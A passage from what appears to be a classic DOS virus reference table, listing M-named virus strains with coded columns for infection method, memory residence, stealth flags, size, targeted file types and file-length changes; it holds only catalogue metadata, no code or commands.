ºMad.5054 ¦INT ¦MCB ¦ HV ¦5054 ¦ .C.E&CE* ¦ i,e ¦ L º
ºMad.5131 ¦INT ¦DOSD¦ HV ¦5131 ¦ .C.E&CE* ¦CiEe ¦ L º
ºMad.7321 ¦INT ¦MCB ¦ Er ¦7321 ¦ .E&E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMadSatan.19033 ¦INT ¦KEEP¦ V ¦19033¦ E * ¦ e ¦ L+p º
º.Abba ¦INT ¦KEEP¦ V ¦9849 ¦ CE * ¦ e ¦ L+p º
º.Ruei ¦INT ¦KEEP¦ V ¦9849 ¦ CE * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMalatinec.1554 ¦FIND¦ - ¦ H ¦1554 ¦ CE ¦ e ¦ L+p º
ºMalatinec.2367 ¦INT ¦MCB ¦ H ¦2367 ¦ CE * ¦ e ¦ L+p º
ºMalatinec.2396 ¦INT ¦MCB ¦ H ¦2396 ¦ CE * ¦ e ¦ L+p º
ºMalatinec.3737 ¦INT ¦MCB ¦ H ¦3737 ¦ CE ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMalmsey.495 ¦FIND¦ - ¦ HV ¦495 ¦ .C ¦ s ¦ 0, overwrite º
ºMalmsey.Habitat¦FIND¦ - ¦ HV ¦1703 ¦ .E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMangeTout.1091 ¦INFI¦MCB ¦ H ¦1091 ¦ .C.E&CE * ¦ e ¦ L º
ºMangeTout.1099 ¦INFI¦MCB ¦ H ¦1099 ¦ .C.E&CE * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMao.1000 ¦INT ¦MCB ¦ S ¦1000 ¦ .C ¦ e ¦ L º
ºMao.1465 (2)¦INT ¦MCB ¦ S ¦1465 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMarkiz.1972 ¦INT ¦MCB ¦ - ¦1972 ¦ CE * ¦ i ¦ L º
ºMarkiz.2660 ¦INT ¦MCB ¦ VS ¦2660 ¦ .C.E&CE* ¦CsEe ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMarzia.2048 ¦INT ¦MCB ¦ H ¦2048 ¦ CE+boot *¦ e ¦ L º
º.Baracuda ¦INT ¦MCB ¦ Ch ¦2048 ¦ CE+boot *¦ e ¦ L º
º.Demian ¦INT ¦MCB ¦ - ¦1536 ¦ E +boot *¦ e ¦ L º
º.DV (2)¦INT ¦MCB ¦ HV ¦2048 ¦ CE+boot *¦ e ¦ L º
º.FaXFree ¦INT ¦MCB ¦ Ch ¦2048 ¦ CE+boot *¦ e ¦ L º
º.Pasiphae ¦INT ¦MCB ¦ Ch ¦2048 ¦ CE+boot *¦ e ¦ L º
º.Pisello ¦INT ¦MCB ¦ Ch ¦2048 ¦ CE+boot *¦ e ¦ L º
º.SZ ¦INT ¦MCB ¦ HV ¦2048 ¦ CE+boot *¦ e ¦ L º
º.VDS (2)¦INT ¦MCB ¦ Ch ¦2048 ¦ CE+boot *¦ e ¦ L º
º.WW (2)¦INT ¦MCB ¦ HV ¦2048 ¦ CE+boot *¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMask.2389 ¦INT ¦MCB ¦ VS ¦2389 ¦ CE * ¦ e ¦ L º
ºMask.3060 ¦INT ¦MCB ¦ V ¦3060 ¦ CE * ¦ e ¦ L+(0-31) º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMayak.2339 ¦INT ¦MCB ¦ S ¦2339 ¦ CES ¦ e ¦ L º
ºMayak.2370 ¦INT ¦MCB ¦ S ¦2370 ¦ CES ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMefl.625 ¦INT ¦MCB ¦ - ¦625 ¦ E * ¦ e ¦ L º
ºMefl.700 ¦INT ¦MCB ¦ - ¦700 ¦ E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMegadeth.3973 ¦INT ¦MCB ¦ V ¦3973 ¦ CEO * ¦ s ¦ L+? º
º.Sepultura ¦INT ¦MCB ¦ V ¦4203 ¦ CEO * ¦ s ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMeihua.1488 ¦INT ¦MCB ¦ V ¦1488 ¦ .C.E ¦ e ¦ L+p º
ºMeihua.1959 ¦INT ¦MCB ¦ V ¦1819 ¦ .C.E ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMeht.1258 ¦INT ¦DOSD¦ Ch ¦1258 ¦ CE * ¦ e ¦ L º
ºMeht.1317 ¦INT ¦DOSD¦ Ch ¦1317 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMemLapse.293 ¦INT ¦MCB ¦ - ¦293 ¦ .C ¦ e ¦ L+(0-255) º
ºMemLapse.787 ¦INT ¦MCB ¦ - ¦787 ¦ CE * ¦ e ¦ L º
º.Glitch ¦FIND¦ - ¦ Er ¦407 ¦ .E&E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMetallica.500(2)INT ¦INTB¦ - ¦500 ¦ .C.E&CE* ¦ e ¦ L º
ºMetallica.1739 ¦INT ¦MCB ¦ VCh¦1739 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMf.3490 ¦INT ¦MCB ¦ HV ¦3490 ¦ CE * ¦ e ¦ L º
ºMf.3503 ¦INT ¦MCB ¦HVEr¦3503 ¦ CE * ¦ e ¦ L º
ºMf.3564 ¦INT ¦MCB ¦ HV ¦3564 ¦ CE * ¦ e ¦ L º
ºMf.4270 ¦INT ¦MCB ¦ HV ¦4270 ¦ CE+boot*¦ e ¦ L º
ºMf.4625 ¦INT ¦MCB ¦ HV ¦4625 ¦ CE+boot*¦ e ¦ L º
ºMf.5088 ¦INT ¦MCB ¦ HV ¦5088 ¦ CE+boot*¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMGen.Agent.1118¦FIND¦ - ¦ - ¦1118 ¦ .C * ¦ e ¦ L+? º
º.Agent.1310 ¦FIND¦ - ¦ - ¦1310 ¦ .C * ¦ e ¦ L+? º
º.Agent.1337 ¦FIND¦ - ¦ - ¦1337 ¦ .C * ¦ e ¦ L+? º
º.Agent.1466 ¦FIND¦ - ¦ - ¦1466 ¦ .C * ¦ e ¦ L+? º
º.Agent.1656 ¦FIND¦ - ¦ - ¦1656 ¦ .C * ¦ e ¦ L+? º
º.Agent.1715 ¦INT ¦MCB ¦ - ¦1715 ¦ C * ¦ e ¦ L+? º
º.Agent.2204 ¦FIND¦ - ¦ - ¦2204 ¦ .C ¦ e ¦ L+? º
º.Agent.3040 ¦INT ¦MCB ¦ - ¦3040 ¦ CE ¦ e ¦ L+? º
º.Garden ¦FIND¦ - ¦ HV ¦1703 ¦ .C.E* ¦ s ¦ 0, overwrite º
º.HiTek ¦FIND¦ - ¦ - ¦2193 ¦ .C.E* ¦ e ¦ C-L+5+? E-L+? º
º.Secret ¦FIND¦ - ¦ HV ¦2094 ¦ .C&C* ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMgn.2048 (2)¦INT ¦MCB ¦ V ¦2048 ¦ CE ¦ e ¦ L,COMMAND.COM - 0º
ºMgn.2560 (4)¦INT ¦MCB ¦ V ¦2560 ¦ CE ¦ e ¦ L,COMMAND.COM - 0º
ºMgn.3000 ¦INT ¦MCB ¦ VCh¦3000 ¦ CE ¦CsEe ¦ L,COMMAND.COM - 0º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMGUL.950 ¦INT ¦MCB ¦ H ¦950 ¦ CE* ¦ e ¦ L º
ºMGUL.1953 ¦INT ¦MCB ¦ H ¦1953 ¦ CE* ¦ e ¦ L º
ºMGUL.1962 ¦INT ¦MCB ¦ H ¦1962 ¦ CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMh.792 ¦INT ¦MCB ¦ - ¦792 ¦ CE * ¦ e ¦ L º
ºMh.1432 ¦INT ¦MCB ¦ - ¦1432 ¦ CE+boot*¦ e ¦ L º
ºMh.1438 ¦INT ¦MCB ¦ - ¦1438 ¦ CE+boot*¦ e ¦ L º
ºMh.1481 ¦INFI¦MCB ¦ - ¦1481 ¦ CE * ¦ e ¦ L º
ºMh.1503 ¦INT ¦MCB ¦ - ¦1503 ¦ CE+boot*¦ e ¦ L º
ºMh.1538 ¦INFI¦MCB ¦ - ¦1538 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMilan.359 ¦FIND¦ - ¦ HV ¦359 ¦ .C * ¦ s ¦ 0, overwrite º
º.Naziskin.270 ¦FIND¦ - ¦ H ¦270 ¦ .C.E * ¦ s ¦ 0, overwrite º
º.Naziskin.335 ¦FIND¦ - ¦ H ¦335 ¦ .C.E * ¦ s ¦ 0, overwrite º
º.Prodigy ¦FIND¦ - ¦ HV ¦268 ¦ .C * ¦ s ¦ 0, overwrite º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMiME.Demo ¦FIND¦ - ¦ - ¦911 ¦ .C. * ¦ e ¦ L+? º
º.WhoNo ¦FIND¦ - ¦ - ¦1263 ¦ .C * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMinsk.1075 ¦INT ¦MCB ¦ErCh¦1075 ¦ .C.E * ¦ e ¦ L+p º
ºMinsk.1447 ¦INT ¦MCB ¦ - ¦1447 ¦ .C.E&CE* ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMIPhT.460 ¦INT ¦MCB ¦ - ¦460 ¦ C * ¦ s ¦ L º
ºMIPhT.905 ¦INT ¦MCB ¦ V ¦905 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMipt.439 ¦INT ¦MCB ¦ Ch ¦439 ¦ .C&C * ¦ e ¦ L º
ºMipt.602 ¦INT ¦MCB ¦ErCh¦602 ¦ .C * ¦ e ¦ L º
ºMipt.748 ¦INT ¦MCB ¦ - ¦748 ¦ .C.E&CE ¦ e ¦ C-L, E-L+128+p º
ºMipt.879 ¦INT ¦MCB ¦ Ch ¦879 ¦ .C * ¦ e ¦ L º
ºMipt.2000 ¦INT ¦MCB ¦ - ¦2000 ¦ .C&C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMIREA.1766 ¦INT ¦MCB ¦ Ch ¦1766 ¦ CE * ¦ e ¦ L+? º
ºMIREA.2087 ¦INT ¦MCB ¦ErCh¦2087 ¦ CE * ¦ e ¦ L+? º
ºMIREA.2117 ¦INT ¦MCB ¦ErCh¦2117 ¦ CE * ¦ e ¦ L+? º
ºMIREA.4156 ¦FIND¦ - ¦ Er ¦4156 ¦ .E&E * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMithrandir.450 ¦INT ¦MCB ¦ - ¦450 ¦ .E * ¦ s ¦ companion º
ºMithrandir.496 ¦INT ¦MCB ¦ - ¦496 ¦ .E ¦ s ¦ companion º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMmca.505 ¦INT ¦MCB ¦ - ¦505 ¦ CE * ¦ e ¦ L º
ºMmca.879 ¦INT ¦MCB ¦ - ¦879 ¦ CE * ¦ e ¦ L º
ºMmca.882 ¦INT ¦MCB ¦ Er ¦882 ¦ CE * ¦ e ¦ L º
ºMmca.1131 ¦INT ¦MCB ¦ Er ¦1131 ¦ CE * ¦ e ¦ C-L+3, E-L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMME.Ssr.18273 ¦INT ¦MCB ¦ HVS¦18273¦ CE * ¦ e ¦ L º
ºMME.Ssr.18364 ¦INT ¦MCB ¦ HVS¦18364¦ CE * ¦ e ¦ L º
ºMME.Ssr.19071 ¦INT ¦MCB ¦ HVS¦19071¦ CE * ¦ e ¦ L º
ºMME.Ssr.19834 ¦INT ¦MCB ¦ HVS¦19834¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMoctezuma.2208 ¦INT ¦KEEP¦ HV ¦2208 ¦ .C.E * ¦CsEe ¦ C-L+14h, E-L+p º
ºMoctezuma.2416 ¦INT ¦MCB ¦ H ¦2416 ¦ .C.E * ¦CsEe ¦ C-L+14h, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMorgot.823 ¦INT ¦MCB ¦ Er ¦823 ¦ E * ¦ e ¦ L+p º
ºMorgot.841 ¦INT ¦MCB ¦ - ¦841 ¦ E * ¦ e ¦ L+p º
ºMorgot.948 ¦INT ¦MCB ¦ - ¦948 ¦ E * ¦ e ¦ L+p º
ºMorgot.1017 ¦INT ¦MCB ¦ - ¦1017 ¦ E ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMrD.1536 ¦INT ¦MCB ¦ V ¦1536 ¦ E * ¦ e ¦ L+p º
ºMrD.1569 ¦INT ¦MCB ¦ V ¦1569 ¦ E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMrTwister.12288¦FIND¦ - ¦ HV ¦12288¦ *.* * ¦ s ¦ 0, overwrite º
ºMrTwister.16384¦FIND¦ - ¦ HV ¦16384¦ *.INI * ¦ s ¦ 0, overwrite º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMnemonix.A-Bomb¦INT ¦MCB ¦ - ¦878 ¦ .C&C * ¦ e ¦ L º
º.BW.1027 ¦FIND¦ - ¦ - ¦1027 ¦ .C.E&CE* ¦ e ¦ L º
º.Esp ¦INT ¦MCB ¦ - ¦519 ¦ .E&E * ¦ s ¦ companion º
º.LoTek.856 ¦FIND¦ - ¦ - ¦856 ¦ .C.E * ¦ e ¦ C-L+3, E-L º
º.Neuropath ¦INT ¦MCB ¦ - ¦928 ¦ C * ¦ e ¦ L º
º.Sugar ¦FIND¦ - ¦ V ¦416 ¦ .C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMtE-based viruses º
ÇÄ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Ķ
ºMtE.CoffeeShop ¦INT ¦MCB ¦ V ¦3792 ¦ E * ¦ e ¦ L+? º
º.DarKStaR ¦FIND¦ - ¦ - ¦2828 ¦ .C&C * ¦ e ¦ L+? º
º.Dedicated (3)¦FIND¦ - ¦ V ¦2868 ¦ .C * ¦ e ¦ L+? º
º.Encroacher ¦FIND¦ - ¦ H ¦3070 ¦ .C&C * ¦ e ¦ L+? º
º.Fear ¦FIND¦ - ¦ - ¦2864 ¦ .C&C * ¦ e ¦ L+? º
º.Groove (2)¦INT ¦ - ¦ VH ¦3507 ¦ CEO * ¦ e ¦ L+? º
º.Insuff (3)¦FIND¦ - ¦ - ¦2712 ¦ .E * ¦ s ¦ L+? º
º.LC92 ¦FIND¦ - ¦ H ¦2852 ¦ .C&C * ¦ e ¦ L+? º
º.Ludwig.2778 ¦FIND¦ - ¦ - ¦2778 ¦ .C ¦ e ¦ L+? º
º.Metal ¦INT ¦MCB ¦ - ¦3321 ¦ CE * ¦ e ¦ L+? º
º.Mother ¦FIND¦ - ¦ VM ¦3934 ¦ .C&C * ¦ e ¦ L+? º
º.Pogue ¦INT ¦MCB ¦ M ¦3017 ¦ .C&C * ¦ e ¦ L+? º
º.Questo ¦FIND¦ - ¦ H ¦2824 ¦ .C&C * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMTZ.971 ¦FIND¦ - ¦ V ¦971 ¦ .C * ¦ e ¦ L º
ºMTZ.1907 ¦INT ¦MCB ¦ V ¦1907 ¦ .C&C * ¦ e ¦ L º
º.Overkill.1191 ¦FIND¦ - ¦ V ¦1191 ¦ .C * ¦ s ¦ L º
º.Overkill.1308 ¦FIND¦ - ¦ V ¦1308 ¦ .E&E * ¦ e ¦ L+p º
º.Overkill.1385 ¦INT ¦MCB ¦ V ¦1385 ¦ .C * ¦ s ¦ L º
º.Overkill.2624 ¦INT ¦MCB ¦ V ¦2624 ¦ .E&E * ¦ e ¦ L+? º
º.PinkPanther. ¦ ¦ ¦ ¦ ¦ ¦ ¦ º
º 4510¦INT ¦MCB ¦ - ¦4510 ¦ .E&E * ¦ e ¦ L º
º.PinkPanther. ¦ ¦ ¦ ¦ ¦ ¦ ¦ º
º 5081¦INT ¦MCB ¦ V ¦5081 ¦ .E&E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMVF.1866 ¦INFI¦MCB ¦ V ¦1866 ¦ .C * ¦ e ¦ L+? º
ºMVF.1896 ¦INFI¦MCB ¦ V ¦1896 ¦ .C * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMurphy.1008 ¦INT ¦MCB ¦ H ¦1008 ¦ CE * ¦ e ¦ L º
º.Tormentor ¦INT ¦MCB ¦ H ¦1072 ¦ .E&E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMururoa.2464 ¦INT ¦MCB ¦ VEr¦2464 ¦ .C.E&CE* ¦ e ¦ L º
ºMururoa.3443 ¦INT ¦MCB ¦ VEr¦3443 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMutator.307 ¦INT ¦MCB ¦ H ¦307 ¦ CE ¦ e ¦ L º
ºMutator.459 ¦INT ¦MCB ¦ H ¦459 ¦ C ¦ e ¦ L º
ºMutator.780 ¦INT ¦MCB ¦ HV ¦780 ¦ C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMadwill.2400 ¦INT ¦MCB ¦ V ¦2400 ¦ CE ¦ e ¦ L º
ºMagdzie.1114 ¦INT ¦MCB ¦ V ¦1114 ¦ .E&E * ¦ e ¦ L+p º
ºMaiden.1726 ¦INT ¦MCB ¦ChEr¦1726 ¦ CE * ¦ e ¦ L+? º
ºMainman.362 ¦INT ¦KEEP¦ H ¦362 ¦ CEO ¦ s ¦ 0, overwrite º
ºMajor.1644 ¦INT ¦MCB ¦ Ch ¦1644 ¦ E * ¦ e ¦ L+p º
ºMalaga.2610 ¦INFI¦KEEP¦ V ¦2610 ¦ CE+boot ¦ e ¦ L+p º
ºMammoth.6000 ¦INT ¦MCB ¦ HEr¦6000 ¦ CE+boot*¦ e ¦ L º
ºManu.4096 ¦INT ¦MCB ¦ V ¦4096 ¦ CE * ¦ e ¦ L º
ºManuel.2209 ¦INT ¦HMA ¦ - ¦2209 ¦ .C.E&CE* ¦ e ¦ L º
ºManzon.1414 ¦INT ¦MCB ¦ - ¦1414 ¦ .C.E&CE* ¦ e ¦ L+? º
ºMarauder.860 ¦FIND¦ - ¦ H ¦860 ¦ .C * ¦ e ¦ L º
ºMarian.700 ¦INT ¦MCB ¦ - ¦700 ¦ .C.E&CE* ¦ e ¦ L º
ºMariner.5000 ¦INT ¦MCB ¦ HV ¦5000 ¦ .C.E&CE* ¦ s ¦ L º
ºMartyr.641 ¦INT ¦MCB ¦ V ¦641 ¦ C * ¦ e ¦ L º
ºMassacre.775 ¦INT ¦MCB ¦ H ¦775 ¦ .C.E&CE* ¦ e ¦ L º
ºMaximum.1198 ¦FIND¦ - ¦ V ¦1198 ¦ .C&C * ¦ e ¦ L º
ºMaybe.664 ¦FIND¦ - ¦ V ¦664 ¦ .C * ¦ e ¦ L º
ºMayDay.419 ¦INT ¦MCB ¦ VCh¦419 ¦ C * ¦ e ¦ L º
ºMegawatt.249 ¦INT ¦INTB¦ - ¦249 ¦ .C * ¦ e ¦ L º
ºMephisto.1235 ¦INT ¦MCB ¦ HV ¦1235 ¦CO?????.?OM¦ e ¦ L º
ºMG.500 (2)¦INFI¦INTB¦ - ¦500 ¦ .C ¦ e ¦ L º
ºMGTU.273 ¦FIND¦ - ¦ - ¦273 ¦ .C&C * ¦ e ¦ L º
ºMira.438 ¦INT ¦MCB ¦ - ¦438 ¦ E * ¦ e ¦ L º
ºMiras.640 ¦FIND¦ - ¦ V ¦640 ¦ .C * ¦ e ¦ L º
ºMicrosof.1024 ¦FIND¦ - ¦ - ¦1024 ¦ .E * ¦ e ¦ L+p º
ºMickie.1100 ¦INT ¦MCB ¦ - ¦1100 ¦ CEO * ¦ e ¦ L+p º
ºMicrob.431 ¦INT ¦INTB¦ HV ¦431 ¦ .C&C * ¦ e ¦ L º
ºMirror.482 ¦INT ¦ADDR¦ HV ¦482 ¦ C * ¦ e ¦ L º
